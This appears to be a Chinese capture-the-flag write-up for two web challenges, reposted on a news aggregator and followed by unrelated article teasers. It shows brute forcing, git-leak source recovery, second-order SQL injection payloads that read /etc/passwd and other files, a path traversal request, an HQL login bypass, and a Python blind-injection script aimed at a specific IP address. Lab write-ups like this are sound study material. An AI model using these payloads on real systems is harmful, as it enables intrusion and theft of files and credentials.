Comment(爆破+git泄漏+二次注入)

news/2025/1/20 21:03:43/

通过爆破密码的后三位,获得账号为:zhangwei666

F12查看控制台

使用bugscanteam的githack工具,下载泄漏的源码,根据控制台的提示,完整源码还在历史的commit中

git log –reflog 查看历史记录

查看最新的提交记录,恢复到该版本

git reset –hard [log hash]

git reset –hard e5b2a2443c2b6d395d06960123142bc91123148c

 

此时查看write_do.php源码

 

涉及2个功能,一个发贴,一个回贴,在发帖时,若用户输入包含有预定义字符,预定义字符为单引
号、双引号、反斜杠、NULL,若是,则会添加反斜杠。在回贴时,会取出第一次输入的category字段
内容,与第二次输入的content做拼接。因此这里存在一个二次SQL注入的问题。

第一次发帖

在category字段输入 ',content=(select load_file('//etc/passwd')),/*

之后点详情,提交留言,留言内容为*/#

 

成功输出
根据passwd文件,可以看到用户目录为/home/www,查看该目录的命令执行记录为.bash_history

查看.DS_Store文件,这里需要hex编码显示

1', content=(selecthex(load_file('/tmp/html/.DS_Store'))),/*

解码得到

flag_8946e1ff1ee3e40f.php

继续读取该文件

1', content=(select hex(load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'))),/*

 

flag{f9ca1a6b-9d78-11e8-90a3-c4b301b7b99b}

这个flag是个假的,这样从复制过去的/var/www/html再次读取

最终得到flag{0dd14aae81d94904b3492117e2a3d4df}

Zhuanxv(文件包含+万能密钥+盲注)

首先通过目录爆破,得到list目录

http://111.200.241.244:62187/list

查看源码

可能存在文件读取

http://111.200.241.244:62187/loadimage?fileName=../../WEB-INF/web.xml

可以看到为struts2框架,该框架主要的配置文件在WEB-INF/classes/struts.xml

根据struts.xml中的class,不断去读取相关class文件,通过jd-gui进行源码阅读

可以看到其在登录时的认证逻辑。

对输入的账号密码,进行去空格和等号处理

且flag位于flag数据库中

后台使用的hive数据库,和mysql的语法类似,由于去掉了空格,可以用换行符替换

构造万能密码

from User where name ='admin' or '1'>'0'or name like 'admin' and password = '" + password + "'

即用户名为admin%27%0Aor%0A%271%27%3E%270%27%0Aor%0Aname%0Alike%0A%27admin

密码随意

最后通过自动化脚本盲注出flag

#!/usr/bin/env python


import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
        payload = "(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
        #print payload
        url="http://111.200.241.244:62187/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
        r1=s.get(url)
        #print url
        #print len(r1.text)
        if len(r1.text)>20000 and p!='':
            flag+=p
            print i,flag
            break
        p=chr(j)

得sctf{C46E250926A2DFFD831975396222B08E}


 

http://www.ppmy.cn/news/1564752.html

相关文章

@Scope(“prototype“)

Scope("prototype") 是 Spring 框架中用于定义 Bean 作用域的注解之一&#xff0c;它的主要作用是将一个 Bean 定义成 原型作用域&#xff08;Prototype Scope&#xff09;。在原型作用域下&#xff0c;每次从 Spring 容器中请求这个 Bean 时&#xff0c;都会创建一个…

Windows蓝牙驱动开发-蓝牙 IOCTL

蓝牙驱动程序堆栈为配置文件驱动程序提供了多个 IOCTL&#xff0c;来收集有关以下内容的信息&#xff1a; 本地蓝牙无线电和系统&#xff1b; 远程蓝牙设备&#xff1b; 会使即插即用 (PnP) 管理器加载配置文件驱动程序的设备&#xff1b; 为收集有关本地蓝牙无线电和系统的…

Ceph与RAID在存储中的协同工作过程

本文将结合架构图&#xff0c;详细讲解Ceph与RAID如何在存储环境中相互配合&#xff0c;共同提供高效且可靠的存储服务。 架构概述 从上图中可以看到&#xff0c;Ceph的架构主要分为四个层次&#xff1a; 客户端和服务接口层&#xff1a;这一层包括客户端访问存储应用的接口…

【深度学习】Pytorch:CUDA 模型训练

在深度学习中&#xff0c;GPU 的强大计算能力能极大地提升模型训练的速度。PyTorch 提供了对 CUDA&#xff08;Compute Unified Device Architecture&#xff09;的原生支持&#xff0c;使得在 GPU 上运行深度学习模型变得简单高效。本文将详细讲解如何使用 PyTorch 在 CUDA 上…

BERT详解

1.背景结构 1.1 基础知识 BERT(Bidirectional Encoder Representations from Transformers)是谷歌提出,作为一个Word2Vec的替代者,其在NLP领域的11个方向大幅刷新了精度,可以说是前几年来自残差网络最优突破性的一项技术了。论文的主要特点以下几点: 使用了双向Transfo…

.NET8.0多线程编码结合异步编码示例

1、创建一个.NET8.0控制台项目来演示多线程的应用 2、快速创建一个线程 3、多次运行程序&#xff0c;可以得到输出结果 这就是多线程的特点 - 当多个线程并行执行时&#xff0c;它们的具体执行顺序是不确定的&#xff0c;除非我们使用同步机制&#xff08;如 lock、信号量等&am…

CTTSHOW-WEB入门-信息搜集11-20

web11 1. 题目&#xff1a; 2. 解题步骤及思路&#xff1a;本题的flag已经给出&#xff0c;主要考点是考察域名的查询&#xff0c;通过查询有时候也可以得到一些有用的信息。 3. 相关知识点&#xff1a;查询域名可以使用nslookup命令使用方法如下&#xff1a;&#xff08;windo…

Type-C充电与智能家居的结合

在科技日新月异的今天&#xff0c;家具已不仅仅是满足基本生活需求的物品&#xff0c;它们正逐渐融入智能化元素&#xff0c;成为提升生活品质的重要一环。其中&#xff0c;家具与USB充电技术的结合&#xff0c;正是这一趋势的生动体现。通过将USB充电端口巧妙地融入家具设计中…